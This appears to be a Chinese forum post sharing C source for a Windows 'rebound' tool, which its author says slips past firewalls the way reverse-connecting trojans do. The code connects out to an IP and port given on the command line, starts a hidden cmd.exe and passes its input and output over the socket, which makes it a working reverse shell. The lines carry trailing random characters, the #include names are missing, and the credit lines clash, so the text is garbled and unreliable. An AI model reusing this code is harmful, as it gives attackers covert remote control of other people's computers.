这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ZgF-.(GV
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/* ============================== f!ehq\K1k
Rebound port in Windows NT CCfuz &
By wind,2006/7 "o#"u[W,
===============================*/ ^Tc&?\3
#include J}EQ_FC"$
#include 'IBs/9=ZC
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#pragma comment(lib,"wsock32.lib") 6=A2Y:8
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void OutputShell(); u$[
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SOCKET sClient; "UKX~}8T
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; >Mj :'
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void main(int argc,char **argv) f}^}d"&F
{ {=IK(H
WSADATA stWsaData; #9EpQc[4
int nRet; j+]>x]c0
SOCKADDR_IN stSaiClient,stSaiServer; `GC7o DL
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if(argc != 3) ySP1WK
{ NLw#b?%
printf("Useage:\n\rRebound DestIP DestPort\n"); dr^pzM!N
return; T
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} QXishHk&
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WSAStartup(MAKEWORD(2,2),&stWsaData); N\=pH{
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Namw[TgJ
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stSaiClient.sin_family = AF_INET; _ot4HmD
stSaiClient.sin_port = htons(0); hEsCOcEG
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); v~q2D"
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !EF~I8d\]
{ s6OnHX\it7
printf("Bind Socket Failed!\n"); WG NuB9R
return; E{^*^+c"h
} F)j-D(c4
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stSaiServer.sin_family = AF_INET; A|CW4f,
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); OZ&J'Y
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); UMm<HQ
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) r|:|\"Yk
{ {CR~G2Z
printf("Connect Error!"); apF!@O^}y
return; Tc,Bv7:
} _Z.lr\
OutputShell(); :HYqm*v;W
} TOn{o}Y B
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void OutputShell() <>A:Oi3^
{ N)lzX X
char szBuff[1024]; D5\$xdlJy
SECURITY_ATTRIBUTES stSecurityAttributes; (Z=ziopDE
OSVERSIONINFO stOsversionInfo; chQt8Ar3
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; `i8osX[ &p
STARTUPINFO stStartupInfo; q5 I2dNE
char *szShell; r7c(/P^$G
PROCESS_INFORMATION stProcessInformation; %'kaNpBz
unsigned long lBytesRead; Oq(_I
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); K0@2>nR
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ]3
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stSecurityAttributes.lpSecurityDescriptor = 0; +&jWM-T"-
stSecurityAttributes.bInheritHandle = TRUE; 2"~!Pu^.j
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); qo}-m7
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ;j-@
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ilw<Q-o4(
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *!,+%0
stStartupInfo.wShowWindow = SW_HIDE; S5@/;T
stStartupInfo.hStdInput = hReadPipe; o*:VG\#Z6
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; %.r{+m
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GetVersionEx(&stOsversionInfo); /,"Z^=
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switch(stOsversionInfo.dwPlatformId) hmtRs]7
{ Dj;h!8t.
case 1: @z EEX9U
szShell = "command.com"; _{8f^@I"+
break; $|C%G6!s?@
default: ]cc4+}L~
szShell = "cmd.exe"; NZe3
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break; q =b.!AZy
} U;?%rM6
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); `=^29LC#
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send(sClient,szMsg,77,0); NS#qein~i
while(1) $G"PZ7
{ 1(gb-u0
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); A]Zp1XEG
if(lBytesRead) h.%VWsAO7
{ W([)b[-*
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); T73oW/.0X?
send(sClient,szBuff,lBytesRead,0); P~#!-9?
} 3Ym5SrKK
else Uey.@ 2Q
{ .hg<\-:_
lBytesRead=recv(sClient,szBuff,1024,0); %aaOws
if(lBytesRead<=0) break; Q# }} 1}Ja
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); H #E
} _R1UEE3M
} 5dMIv<#T`
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return; N$/{f2iC
}